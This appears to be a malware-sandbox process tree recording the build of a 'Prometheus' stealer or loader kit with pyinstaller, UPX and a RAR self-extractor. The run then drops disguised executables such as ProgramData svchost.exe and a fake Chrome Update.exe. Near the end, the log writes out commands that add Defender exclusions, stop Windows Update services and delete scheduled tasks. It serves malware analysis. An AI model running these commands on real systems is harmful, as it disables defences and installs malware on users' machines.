C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Windows\System32\chcp.com"5⤵
-
C:\Windows\System32\chcp.comC:\Windows\System32\chcp.com6⤵
-
-
-
C:\Windows\System32\chcp.com"C:\Windows\System32\chcp.com" 650015⤵
-
-
C:\Windows\System32\chcp.com"C:\Windows\System32\chcp.com" 4375⤵
-
-
C:\Windows\system32\where.exewhere gcc5⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exepython -m pip install -r requirements.txt --no-cache-dir --no-binary pyinstaller --verbose5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" -m pip install -r requirements.txt --no-cache-dir --no-binary pyinstaller --verbose6⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"7⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Lib\site-packages\pip\__pip-runner__.py install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-qlw6npkd\overlay --no-warn-script-location --no-binary pyinstaller --only-binary :none: -i https://pypi.org/simple -- wheel "setuptools >= 42.0.0"7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Lib\site-packages\pip\__pip-runner__.py install --ignore-installed --no-user --prefix C:\Users\Admin\AppData\Local\Temp\pip-build-env-qlw6npkd\overlay --no-warn-script-location --no-binary pyinstaller --only-binary :none: -i https://pypi.org/simple -- wheel "setuptools >= 42.0.0"8⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"9⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py get_requires_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmpiestvvsu7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py get_requires_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmpiestvvsu8⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"9⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py prepare_metadata_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmpf00apl5o7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py prepare_metadata_for_build_wheel C:\Users\Admin\AppData\Local\Temp\tmpf00apl5o8⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"9⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py build_wheel C:\Users\Admin\AppData\Local\Temp\tmpde3ekcfq7⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\pip\_vendor\pyproject_hooks\_in_process\_in_process.py build_wheel C:\Users\Admin\AppData\Local\Temp\tmpde3ekcfq8⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"9⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"9⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"9⤵
-
-
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exepython process.py5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" process.py6⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "pyi-grab_version "C:\Windows\System32\wuapihost.exe" version.txt"7⤵
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyi-grab_version.exepyi-grab_version "C:\Windows\System32\wuapihost.exe" version.txt8⤵
- Executes dropped EXE
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe"C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe" "C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyi-grab_version.exe" "C:\Windows\System32\wuapihost.exe" version.txt9⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" "C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyi-grab_version.exe" "C:\Windows\System32\wuapihost.exe" version.txt10⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"11⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"11⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"11⤵
-
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyinstaller.exepyinstaller --noconsole --onefile --clean --noconfirm loader-o.py --name "based.exe" -i NONE --hidden-import urllib3 --hidden-import sqlite3 --hidden-import pyaes --hidden-import ctypes --hidden-import ctypes.wintypes --hidden-import json --add-binary rar.exe;. --add-data rarreg.key;. --add-data blank.aes;. --version-file version.txt5⤵
- Executes dropped EXE
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe"C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe" "C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyinstaller.exe" --noconsole --onefile --clean --noconfirm loader-o.py --name "based.exe" -i NONE --hidden-import urllib3 --hidden-import sqlite3 --hidden-import pyaes --hidden-import ctypes --hidden-import ctypes.wintypes --hidden-import json --add-binary rar.exe;. --add-data rarreg.key;. --add-data blank.aes;. --version-file version.txt6⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" "C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyinstaller.exe" --noconsole --onefile --clean --noconfirm loader-o.py --name "based.exe" -i NONE --hidden-import urllib3 --hidden-import sqlite3 --hidden-import pyaes --hidden-import ctypes --hidden-import ctypes.wintypes --hidden-import json --add-binary rar.exe;. --add-data rarreg.key;. --add-data blank.aes;. --version-file version.txt7⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 724 6248⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 724 6249⤵
- Executes dropped EXE
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx -V8⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 380 3768⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 380 3769⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 340 4288⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 340 4289⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 428 6408⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 428 6409⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 628 6368⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 628 6369⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 696 7208⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 696 7209⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 676 6688⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 676 6689⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\python310.dll8⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_decimal.pyd8⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_hashlib.pyd8⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_lzma.pyd8⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_bz2.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\unicodedata.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\select.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_socket.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_ctypes.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_sqlite3.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_ssl.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\_queue.pyd8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\libcrypto-1_1.dll8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\libffi-7.dll8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\sqlite3.dll8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx --compress-icons=0 --lzma -q --strip-loadconf C:\Users\Admin\AppData\Local\pyinstaller\bincache01py31064bit\libssl-1_1.dll8⤵
-
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exepython postprocess.py5⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" postprocess.py6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"7⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"7⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"7⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\dist\hacn.exehacn.exe5⤵
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\dist\hacn.exehacn.exe6⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c start C:\Users\Admin\AppData\Local\Temp\_MEI31202\s.exe -pbeznogym7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\_MEI31202\s.exeC:\Users\Admin\AppData\Local\Temp\_MEI31202\s.exe -pbeznogym8⤵
- Checks computer location settings
-
C:\ProgramData\main.exe"C:\ProgramData\main.exe"9⤵
- Checks computer location settings
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\tmp3C3C.tmp.bat & Del C:\Users\Admin\AppData\Local\Temp\tmp3C3C.tmp.bat10⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV111⤵
- Suspicious use of SetWindowsHookEx
-
-
C:\Windows\system32\tasklist.exeTasklist /fi "PID eq 5072"11⤵
- Enumerates processes with tasklist
-
-
C:\Windows\system32\find.exefind ":"11⤵
-
-
C:\Windows\system32\timeout.exeTimeout /T 1 /Nobreak11⤵
- Delays execution with timeout.exe
-
-
C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"C:\Users\Admin\AppData\Roaming\GoogleChromeUpdateLog\Update.exe"11⤵
-
-
-
-
C:\ProgramData\svchost.exe"C:\ProgramData\svchost.exe"9⤵
-
C:\ProgramData\svchost.exe"C:\ProgramData\svchost.exe"10⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"11⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV112⤵
- Suspicious use of SetWindowsHookEx
-
-
-
-
-
C:\ProgramData\setup.exe"C:\ProgramData\setup.exe"9⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
-
-
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\dist\Rar.exerar a -r -sfx -z"xfs.conf" Build hacn.exe based.exe5⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyinstaller.exepyinstaller -F -w -i icon.ico --add-data "Build.exe;." main.py5⤵
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe"C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe" "C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyinstaller.exe" -F -w -i icon.ico --add-data "Build.exe;." main.py6⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" "C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\pyinstaller.exe" -F -w -i icon.ico --add-data "Build.exe;." main.py7⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 724 6568⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 724 6569⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\upx.exeupx -V8⤵
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 728 6968⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 728 6969⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 292 7128⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 292 7129⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 712 6368⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 712 6369⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 636 6928⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 636 6929⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"10⤵
-
-
-
-
C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exeC:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\Scripts\python.exe C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 696 6928⤵
-
C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe"C:\Users\Admin\AppData\Local\Programs\Python\Python310\python.exe" C:\Users\Admin\Downloads\Prometheus-main\Prometheus-main\Prometheus\env\lib\site-packages\PyInstaller\isolated\_child.py 696 6929⤵
-
-
-
-
-
-
C:\Windows\explorer.exeexplorer dist5⤵
-
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc2⤵
-
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
-
-
C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
-
-
-
C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵
-
-
C:\Windows\System32\schtasks.exeC:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"2⤵
-
-
